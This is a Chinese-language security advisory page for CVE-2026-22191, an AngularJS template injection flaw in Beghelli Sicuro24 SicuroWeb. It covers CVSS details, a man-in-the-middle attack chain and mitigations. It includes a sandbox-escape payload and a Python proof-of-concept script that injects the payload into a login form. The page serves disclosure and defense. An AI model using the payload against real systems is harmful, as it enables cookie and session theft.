IPBUF安全漏洞报告
English
CVE-2026-22191 CVSS 5.2 中危

CVE-2026-22191: Beghelli Sicuro24 SicuroWeb AngularJS模板注入漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-22191
漏洞类型
模板注入
CVSS评分
5.2 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Beghelli Sicuro24 SicuroWeb (AngularJS 1.5.2)

相关标签

模板注入AngularJSSicuroWebBeghelliCVE-2026-22191XSSJavaScript执行MITM中危漏洞

漏洞概述

CVE-2026-22191是Beghelli Sicuro24 SicuroWeb系统中发现的一个中等严重性安全漏洞。该漏洞存在于Web应用程序的模板渲染机制中,由于对用户输入的不当处理,导致攻击者能够在AngularJS模板上下文中注入任意表达式。SicuroWeb是Beghelli公司开发的安全监控和控制系统,广泛应用于工业和商业环境中。漏洞的核心问题在于应用程序未能对用户可控的数据进行充分的输入验证和输出编码,使得恶意构造的AngularJS表达式能够被服务器端或客户端的模板引擎解析执行。攻击者利用此漏洞可以绕过前端的正常安全边界,在受害用户的浏览器会话中执行任意JavaScript代码,从而窃取敏感信息、劫持用户会话或进行进一步的攻击。由于该系统通常部署在内部网络中,攻击者需要具备网络相邻的位置才能实施攻击,例如通过中间人攻击的方式在明文HTTP通信中注入恶意载荷。

技术细节

该漏洞的根本原因在于SicuroWeb应用程序在处理用户输入时,将未经适当过滤的数据直接嵌入到AngularJS模板中进行渲染。AngularJS 1.5.2版本支持使用双花括号{{}}或ng-bind等指令进行数据绑定,攻击者可以利用这一特性注入恶意表达式。攻击向量分析表明,攻击者首先需要构造包含AngularJS表达式(如{{constructor.constructor('alert(1)')()}})的特殊请求。当应用程序将这些数据回显到响应页面时,浏览器端的AngularJS引擎会将其作为模板代码进行编译和执行。由于AngularJS的沙箱机制在特定场景下存在绕过的可能,攻击者可以进一步利用constructor.constructor()等技巧突破沙箱限制,实现完整的JavaScript代码执行。CVSS向量AV:A/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N表明,攻击者需要处于网络相邻位置(如同一局域网),无需认证但需要用户交互才能触发漏洞,且主要影响系统的机密性和完整性,可用性影响较小。攻击者可通过MITM技术在HTTP明文通信中注入恶意载荷,降低了攻击门槛。

攻击链分析

STEP 1
1
攻击者处于网络相邻位置(如同一局域网),准备进行中间人攻击
STEP 2
2
攻击者拦截SicuroWeb用户的HTTP明文通信流量
STEP 3
3
攻击者构造包含恶意AngularJS表达式的请求,如{{constructor.constructor('恶意代码')()}}
STEP 4
4
恶意载荷通过MITM注入到HTTP请求中,被SicuroWeb应用程序接收并存储
STEP 5
5
应用程序将未过滤的用户输入嵌入到响应页面中
STEP 6
6
受害用户的浏览器接收到响应,AngularJS 1.5.2引擎解析并执行注入的模板表达式
STEP 7
7
恶意JavaScript代码在受害者浏览器会话中执行,可窃取Cookie、会话令牌等敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22191 PoC - AngularJS Template Injection # Target: Beghelli Sicuro24 SicuroWeb # CVSS: 5.2 (Medium) import requests TARGET = "http://target-ipv4/sicuroweb" # AngularJS template injection payload PAYLOAD = "{{constructor.constructor('alert(document.cookie)')()}}" def exploit(): # Try to inject AngularJS expression in vulnerable parameter # Common injection points: username, search, or any user-input field params = { "username": PAYLOAD, # or other injectable parameter "password": "test" } try: response = requests.post(TARGET + "/login", data=params, timeout=10) print(f"[*] Request sent to {TARGET}") print(f"[*] Payload: {PAYLOAD}") print(f"[*] Response status: {response.status_code}") # Check if payload is reflected in response if PAYLOAD in response.text or "alert" in response.text: print("[+] VULNERABLE: Payload reflected and may be executed") else: print("[-] No obvious reflection detected") except requests.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": exploit()

影响范围

Beghelli Sicuro24 SicuroWeb (AngularJS 1.5.2 runtime)

防御指南

临时缓解措施
立即启用HTTPS加密所有HTTP通信,防止中间人攻击者注入恶意载荷。在Web应用程序前端部署WAF(Web应用防火墙)规则检测和阻止AngularJS模板注入特征(如{{}}、constructor等关键字)。同时对所有用户输入实施严格的输入过滤,使用HTML实体编码防止特殊字符被模板引擎解析。短期内部署网络分段和访问控制,限制对SicuroWeb系统的非授权访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表